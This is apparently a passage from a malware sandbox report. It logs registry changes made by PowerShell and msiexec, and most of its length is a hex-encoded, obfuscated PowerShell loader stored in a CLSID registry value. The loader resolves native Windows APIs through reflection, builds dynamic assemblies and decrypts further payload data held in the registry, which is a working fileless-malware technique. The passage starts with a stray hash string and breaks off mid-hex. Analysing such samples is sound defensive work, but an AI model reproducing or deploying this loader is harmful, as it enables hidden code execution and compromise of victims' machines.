f51e5a8f9d21907f1bb4079465968de2f89ac2787556bce5463daf1874774e8a6a2a2809a7be39ec15b12c188b14f1f3a2dc701fc5fe90c2292509488710e1153e0ef04abe1364d067c7b6da81643317ce2edf97770661ac2d6f28e32264b80783a929798e6a1b29672f4300a0b048353dfadd70afc9822b31406f396bcf447bc564106e1bfd7b4cf2a5ad044042f80a5ac9afd30b3f00229963df6fd7fe20311873eb6b47f8cca3b53b06c5032c17e45a7572e3cc5c535e7be87efd2b161389d5866d2f7f20cf97c04ca51e6086df4eb47bc7619eea945f16a7e6619bb680f16662bf8dbc08e09ae98a34a10204843cc53c0176dd08b2bf2f23a24fedfa30853e7d8483b23ba3a5dadc081d4482f2ae9f86c2c42714fc61fd691607a07cf90723846eb26ca0d6c96 Powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ = "C:\\ProgramData\\fw435tv345t.ps1" Powershell.exe Key created \REGISTRY\MACHINE\software\classes\{0C030800-070E-0906-0B0D-0F110807030F}\CLSID Powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{0C030800-070E-0906-0B0D-0F110807030F} Powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{0C030800-070E-0906-0B0D-0F110807030F}\ = "{0C030800-070E-0906-0B0D-0F110807030F}" Powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID Powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{01040E06-0702-1103-0C00-0905080F070E}\VersionIndependentProgID Powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{01040E06-0702-1103-0C00-0905080F070E}\VersionIndependentProgID\ = "{0C030800-070E-0906-0B0D-0F110807030F}" Powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{01040E06-0702-1103-0C00-0905080F070E}\ProgID Powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{01040E06-0702-1103-0C00-0905080F070E}\ProgID\070E = 66756e6374696f6e20736f3232327b706172616d28246c793232322c247363323232292028656a3232322027323436323731333233323332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343639363133323332333233443445363537373244344636323641363536333734323035323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363632383238344536353737324434463632364136353633373432303439364537343530373437323239324332383234363237313332333233323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453639364537363646364236353238333032433430323832373645373436343643364332453634364336433237323932393239323933423234363237313332333233323245343736353734344436353734363836463634323832383244364136463639364532383237333433373336333533373334333533303337333233363436333633333334333133363334333633343337333233363335333733333337333332373244373337303643363937343237323832453245323932373743334637423234354637443743323537423542363336383631373235443542363336463645373636353732373435443341334135343646353534393645373433333332323832343546324333313336323937443239323932433230354237323635363636433635363337343639364636453245363236393645363436393645363736363643363136373733354432303237353037353632364336393633324335333734363137343639363332373243323436453735364336433243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334134313645373932433430323832383445363537373244344636323641363536333734323035333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453438363136453634364336353532363536363239324534373635373435343739373036353238323932433542373337343732363936453637354432393243323436453735364336433239324536393645373636463642363532383234364537353643364332433430323835423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636354432343639363133323332333232433234364337393332333233323239323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b244d6178696d756d486973746f7279436f756e742d7368722831313634342d3131363334295d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b2828244d6178696d756d486973746f7279436f756e742d7368722831323834302d313238333129292b2831353532392d313535323729295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b31295d297d66756e6374696f6e2074673232327b706172616d2824707132323229282d6a6f696e28247071323232202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e207a733232327b706172616d28247573323232292028756f3232322027323436453731333233323332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343636373433323332333233443445363537373244344636323641363536333734323035323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363632383238344536353737324434463632364136353633373432303439364537343530373437323239324332383234364537313332333233323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453639364537363646364236353238333032433430323832373645373436343643364332453634364336433237323932393239323933423234364537313332333233323245343736353734344436353734363836463634323832383244364136463639364532383237333433373336333533373334333533303337333233363436333633333334333133363334333633343337333233363335333733333337333332373244373337303643363937343237323832453245323932373743334637423234354637443743323537423542363336383631373235443542363336463645373636353732373435443341334135343646353534393645373433333332323832343546324333313336323937443239323932433230354237323635363636433635363337343639364636453245363236393645363436393645363736363643363136373733354432303237353037353632364336393633324335333734363137343639363332373243323436453735364336433243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334134313645373932433430323832383445363537373244344636323641363536333734323035333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453438363136453634364336353532363536363239324534373635373435343739373036353238323932433542373337343732363936453637354432393243323436453735364336433239324536393645373636463642363532383234364537353643364332433430323835423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636354432343636373433323332333232433234373537333332333233323239323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b244d6178696d756d486973746f7279436f756e742d7368722831313034342d3131303334295d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b2828244d6178696d756d486973746f7279436f756e742d7368722831393139332d313931383429292b2831363737312d313637363929295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b31295d297d66756e6374696f6e207a693232327b706172616d282472743232322920287a753232322027323437383739333233323332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343644373033323332333233443445363537373244344636323641363536333734323035323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363632383238344536353737324434463632364136353633373432303439364537343530373437323239324332383234373837393332333233323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453639364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373837393332333233323245343736353734344436353734363836463634323832383244364136463639364532383237333433373336333533373334333533303337333233363436333633333334333133363334333633343337333233363335333733333337333332373244373337303643363937343237323832453245323932373743334637423234354637443743323537423542363336383631373235443542363336463645373636353732373435443341334135343646353534393645373433333332323832343546324333313336323937443239323932433230354237323635363636433635363337343639364636453245363236393645363436393645363736363643363136373733354432303237353037353632364336393633324335333734363137343639363332373243323436453735364336433243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334134313645373932433430323832383445363537373244344636323641363536333734323035333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453438363136453634364336353532363536363239324534373635373435343739373036353238323932433542373337343732363936453637354432393243323436453735364336433239324536393645373636463642363532383234364537353643364332433430323835423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636354432343644373033323332333232433234373237343332333233323239323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b24466f726d6174456e756d65726174696f6e4c696d69745d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b2828244d6178696d756d486973746f7279436f756e742d7368722831323737312d313237363229292b2831333837332d313338373129295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b31295d297d66756e6374696f6e20796d3232327b706172616d2824707132323229202874673232322027323436443741333233323332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343730363133323332333233443445363537373244344636323641363536333734323035323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363632383238344536353737324434463632364136353633373432303439364537343530373437323239324332383234364437413332333233323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453639364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364437413332333233323245343736353734344436353734363836463634323832383244364136463639364532383237333433373336333533373334333533303337333233363436333633333334333133363334333633343337333233363335333733333337333332373244373337303643363937343237323832453245323932373743334637423234354637443743323537423542363336383631373235443542363336463645373636353732373435443341334135343646353534393645373433333332323832343546324333313336323937443239323932433230354237323635363636433635363337343639364636453245363236393645363436393645363736363643363136373733354432303237353037353632364336393633324335333734363137343639363332373243323436453735364336433243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334134313645373932433430323832383445363537373244344636323641363536333734323035333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453438363136453634364336353532363536363239324534373635373435343739373036353238323932433542373337343732363936453637354432393243323436453735364336433239324536393645373636463642363532383234364537353643364332433430323835423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636354432343730363133323332333232433234373037313332333233323239323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b24466f726d6174456e756d65726174696f6e4c696d69745d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b2828244d6178696d756d486973746f7279436f756e742d7368722831333531362d313335303729292b2831323430342d313234303229295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b2828244d6178696d756d486973746f7279436f756e742d7368722831333531362d313335303729292b31295d297d2066756e6374696f6e20696b3232327b706172616d282470713232322c246e64323232292028746732323220273234373437363332333233323344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343734373633323332333232453434363536363639364536353433364636453733373437323735363337343646373232383237353235343533373036353633363936313643344536313644363532433438363936343635343237393533363936373243353037353632364336393633323732433542353337393733373436353644324535323635363636433635363337343639364636453245343336313643364336393645363734333646364537363635364537343639364636453733354433413341353337343631364536343631373236343243323437303731333233323332323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373437363332333233323245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436453634333233323332324332343730373133323332333232393245353336353734343936443730364336353644363536453734363137343639364636453436364336313637373332383237353237353645373436393644363532433444363136453631363736353634323732393342323437343736333233323332324534333732363536313734363535343739373036353238323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b244d6178696d756d486973746f7279436f756e742d7368722831343034322d3134303332295d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b2828244d6178696d756d486973746f7279436f756e742d7368722831323633362d313236323729292b2831313538342d313135383229295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b2828244d6178696d756d486973746f7279436f756e742d7368722831323633362d313236323729292b31295d297d2066756e6374696f6e2068633232327b706172616d2824707132323229202874673232322027323436443741333233323332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343730363133323332333233443445363537373244344636323641363536333734323035323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363632383238344536353737324434463632364136353633373432303439364537343530373437323239324332383234364437413332333233323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453639364537363646364236353238333032433430323832373645373436343643364332453634364336433237323932393239323933423234364437413332333233323245343736353734344436353734363836463634323832383244364136463639364532383237333433373336333533373334333533303337333233363436333633333334333133363334333633343337333233363335333733333337333332373244373337303643363937343237323832453245323932373743334637423234354637443743323537423542363336383631373235443542363336463645373636353732373435443341334135343646353534393645373433333332323832343546324333313336323937443239323932433230354237323635363636433635363337343639364636453245363236393645363436393645363736363643363136373733354432303237353037353632364336393633324335333734363137343639363332373243323436453735364336433243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334134313645373932433430323832383445363537373244344636323641363536333734323035333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453438363136453634364336353532363536363239324534373635373435343739373036353238323932433542373337343732363936453637354432393243323436453735364336433239324536393645373636463642363532383234364537353643364332433430323835423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636354432343730363133323332333232433234373037313332333233323239323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b244d6178696d756d486973746f7279436f756e742d7368722831313634352d3131363335295d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b2831353932332d313539323129295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b31295d297d2066756e6374696f6e2070793232327b706172616d282470713232322c246e643232322c24626e3232322920287467323232202736363735364536333734363936463645323035463632373536393643363435463635364536333642363537393546363237393734363537333230374232303730363137323631364432383234363936453546373337343732323936393636323032383234363936453546373337343732324536433635364536373734363832303244363736353230333432393742323032343633363836453642323033443230323835423534363537383734324534353645363336463634363936453637354433413341353535343436333832453437363537343432373937343635373332383234363936453546373337343732323932393542333032453245333335443342323037443635364337333635374232303234363336383645364232303344323034303238333037383431333132433330373834323332324333303738343333333243333037383434333432393230374433423542363137323732363137393544334133413532363537363635373237333635323832343633363836453642323933423230323436353645363336423635373932303344323034303238323933423230323436453230334432303338334232303634364632303742323032343635364536333642363537393230324233443230323436333638364536423342323032343645324432443230374432303737363836393643363532383234364532393342323032343635364536333642363537393342323037443234364536383332333233323230334432303546363237353639364336343546363536453633364236353739354636323739373436353733323032383234363536453736334134333446344435303535353434353532344534313444343532393342323436353636333233323332334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303331333033343330343533303336324433303337333033323244333133313330333332443330343333303330324433303339333033353330333833303436333033373330343537443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033373330343532373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303337333034353237334232343643373433323332333233443742323032343739363333323332333233443330324532453332333533353342333032453245333233353335374332353742323032343643373133323332333233443238323436433731333233323332324232343739363333323332333235423234354635443242323436453638333233323332354232343546323532343645363833323332333232453443363536453637373436383544323932353332333533363342323032343739363333323332333235423234354635443243323437393633333233323332354232343643373133323332333235443344323437393633333233323332354232343643373133323332333235443243323437393633333233323332354232343546354432303744323033423234363536363332333233323743323537423234373236423332333233323344323832343732364233323332333232423331323932353332333533363342323032343731364433323332333233443238323437313644333233323332324232343739363333323332333235423234373236423332333233323544323932353332333533363342323032343739363333323332333235423234373236423332333233323544324332343739363333323332333235423234373136443332333233323544334432343739363333323332333235423234373136443332333233323544324332343739363333323332333235423234373236423332333233323544334232343546324436323738364637323234373936333332333233323542323832343739363333323332333235423234373236423332333233323544324232343739363333323332333235423234373136443332333233323544323932353332333533363544323037443230374432303342323436373635333233323332323033443230323832363230323436433734333233323332374336363646373236353631363336383244364636323641363536333734374232373742333033413538333237443237323032443636323032343546323037443239324436413646363936453230323732373342323032383234323836363646373232383234373236423332333233323344333033423234373236423332333233323230324436433734323032343637363533323332333232453443363536453637373436383342323437323642333233323332324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436373635333233323332324535333735363237333734373236393645363732383234373236423332333233323243333232393243333133363239323037443239323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b244d6178696d756d486973746f7279436f756e742d7368722831323232362d3132323136295d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b2828244d6178696d756d486973746f7279436f756e742d7368722831303036332d313030353429292b2831383730362d313837303429295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b31295d297d66756e6374696f6e2061663232327b706172616d28246e6d3232322c247471323232292028626d323232202736363735364536333734363936463645323035463632373536393643363435463635364536333642363537393546363237393734363537333230374232303730363137323631364432383234363936453546373337343732323936393636323032383234363936453546373337343732324536433635364536373734363832303244363736353230333432393742323032343633363836453642323033443230323835423534363537383734324534353645363336463634363936453637354433413341353535343436333832453437363537343432373937343635373332383234363936453546373337343732323932393542333032453245333335443342323037443635364337333635374232303234363336383645364232303344323034303238333037383431333132433330373834323332324333303738343333333243333037383434333432393230374433423542363137323732363137393544334133413532363537363635373237333635323832343633363836453642323933423230323436353645363336423635373932303344323034303238323933423230323436453230334432303338334232303634364632303742323032343635364536333642363537393230324233443230323436333638364536423342323032343645324432443230374432303737363836393643363532383234364532393342323032343635364536333642363537393342323037443234363836323332333233323230334432303546363237353639364336343546363536453633364236353739354636323739373436353733323032383234363536453736334134333446344435303535353434353532344534313444343532393342323436463638333233323332334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303331333033343330343533303336324433303337333033323244333133313330333332443330343333303330324433303339333033353330333833303436333033373330343537443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033373330343532373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303337333034353237334232343639373233323332333233443742323032343732363733323332333233443330324532453332333533353342333032453245333233353335374332353742323032343638373033323332333233443238323436383730333233323332324232343732363733323332333235423234354635443242323436383632333233323332354232343546323532343638363233323332333232453443363536453637373436383544323932353332333533363342323032343732363733323332333235423234354635443243323437323637333233323332354232343638373033323332333235443344323437323637333233323332354232343638373033323332333235443243323437323637333233323332354232343546354432303744323033423234364636383332333233323743323537423234364537373332333233323344323832343645373733323332333232423331323932353332333533363342323032343643373533323332333233443238323436433735333233323332324232343732363733323332333235423234364537373332333233323544323932353332333533363342323032343732363733323332333235423234364537373332333233323544324332343732363733323332333235423234364337353332333233323544334432343732363733323332333235423234364337353332333233323544324332343732363733323332333235423234364537373332333233323544334232343546324436323738364637323234373236373332333233323542323832343732363733323332333235423234364537373332333233323544324232343732363733323332333235423234364337353332333233323544323932353332333533363544323037443230374432303342323437363732333233323332323033443230323832363230323436393732333233323332374336363646373236353631363336383244364636323641363536333734374232373742333033413538333237443237323032443636323032343546323037443239324436413646363936453230323732373342323032383234323836363646373232383234364537373332333233323344333033423234364537373332333233323230324436433734323032343736373233323332333232453443363536453637373436383342323436453737333233323332324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323437363732333233323332324535333735363237333734373236393645363732383234364537373332333233323243333232393243333133363239323037443239323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b244d6178696d756d486973746f7279436f756e742d7368722831373839392d3137383839295d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b2828244d6178696d756d486973746f7279436f756e742d7368722831313838312d313138373229292b2831343737362d313437373429295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b2828244d6178696d756d486973746f7279436f756e742d7368722831313838312d313138373229292b31295d297d66756e6374696f6e2069663232327b706172616d282475723232322920286d733232322027323436413646333233323332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343741364433323332333233443445363537373244344636323641363536333734323035323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363632383238344536353737324434463632364136353633373432303439364537343530373437323239324332383234364136463332333233323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453639364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364136463332333233323245343736353734344436353734363836463634323832383244364136463639364532383237333433373336333533373334333533303337333233363436333633333334333133363334333633343337333233363335333733333337333332373244373337303643363937343237323832453245323932373743334637423234354637443743323537423542363336383631373235443542363336463645373636353732373435443341334135343646353534393645373433333332323832343546324333313336323937443239323932433230354237323635363636433635363337343639364636453245363236393645363436393645363736363643363136373733354432303237353037353632364336393633324335333734363137343639363332373243323436453735364336433243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334134313645373932433430323832383445363537373244344636323641363536333734323035333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453438363136453634364336353532363536363239324534373635373435343739373036353238323932433542373337343732363936453637354432393243323436453735364336433239324536393645373636463642363532383234364537353643364332433430323835423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636354432343741364433323332333232433234373537323332333233323239323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b244d6178696d756d486973746f7279436f756e742d7368722831343234362d3134323336295d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b2831323138372d313231383529295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b31295d297d66756e6374696f6e206b6a3232327b706172616d2824636d32323229202877783232322027323437353731333233323332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343643373633323332333233443445363537373244344636323641363536333734323035323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363632383238344536353737324434463632364136353633373432303439364537343530373437323239324332383234373537313332333233323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453639364537363646364236353238333032433430323832373645373436343643364332453634364336433237323932393239323933423234373537313332333233323245343736353734344436353734363836463634323832383244364136463639364532383237333433373336333533373334333533303337333233363436333633333334333133363334333633343337333233363335333733333337333332373244373337303643363937343237323832453245323932373743334637423234354637443743323537423542363336383631373235443542363336463645373636353732373435443341334135343646353534393645373433333332323832343546324333313336323937443239323932433230354237323635363636433635363337343639364636453245363236393645363436393645363736363643363136373733354432303237353037353632364336393633324335333734363137343639363332373243323436453735364336433243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334134313645373932433430323832383445363537373244344636323641363536333734323035333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453438363136453634364336353532363536363239324534373635373435343739373036353238323932433542373337343732363936453637354432393243323436453735364336433239324536393645373636463642363532383234364537353643364332433430323835423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636354432343643373633323332333232433234363336443332333233323239323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b244d6178696d756d486973746f7279436f756e742d7368722831353339382d3135333838295d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b2831303938312d313039373929295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b31295d297d2465663232323d707932323220276b7562667a73656e7964616a72696d272027696d65796674687263706c676f7573762720276a79766e716774756463657a61626c6877273b66756e6374696f6e2078653232327b706172616d28246a74323232292028696d3232322027323437413632333233323332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343645373233323332333233443445363537373244344636323641363536333734323035323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363632383238344536353737324434463632364136353633373432303439364537343530373437323239324332383234374136323332333233323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453639364537363646364236353238333032433430323832373645373436343643364332453634364336433237323932393239323933423234374136323332333233323245343736353734344436353734363836463634323832383244364136463639364532383237333433373336333533373334333533303337333233363436333633333334333133363334333633343337333233363335333733333337333332373244373337303643363937343237323832453245323932373743334637423234354637443743323537423542363336383631373235443542363336463645373636353732373435443341334135343646353534393645373433333332323832343546324333313336323937443239323932433230354237323635363636433635363337343639364636453245363236393645363436393645363736363643363136373733354432303237353037353632364336393633324335333734363137343639363332373243323436453735364336433243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334134313645373932433430323832383445363537373244344636323641363536333734323035333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453438363136453634364336353532363536363239324534373635373435343739373036353238323932433542373337343732363936453637354432393243323436453735364336433239324536393645373636463642363532383234364537353643364332433430323835423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636354432343645373233323332333232433234364137343332333233323239323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b244d6178696d756d486973746f7279436f756e742d7368722831343334352d3134333335295d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b2831393638302d313936373829295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b2828244d6178696d756d486973746f7279436f756e742d7368722831363136392d313631363029292b31295d297d66756e6374696f6e2078613232327b706172616d2824617a323232292028727432323220273234363237413332333233323344323835423431373037303434364636443631363936453544334133413433373537323732363536453734343436463644363136393645324534373635373434313733373336353644363236433639363537333238323937433537363836353732363532443446363236413635363337343742323435463245343736433646363236313643343137333733363536443632364337393433363136333638363532303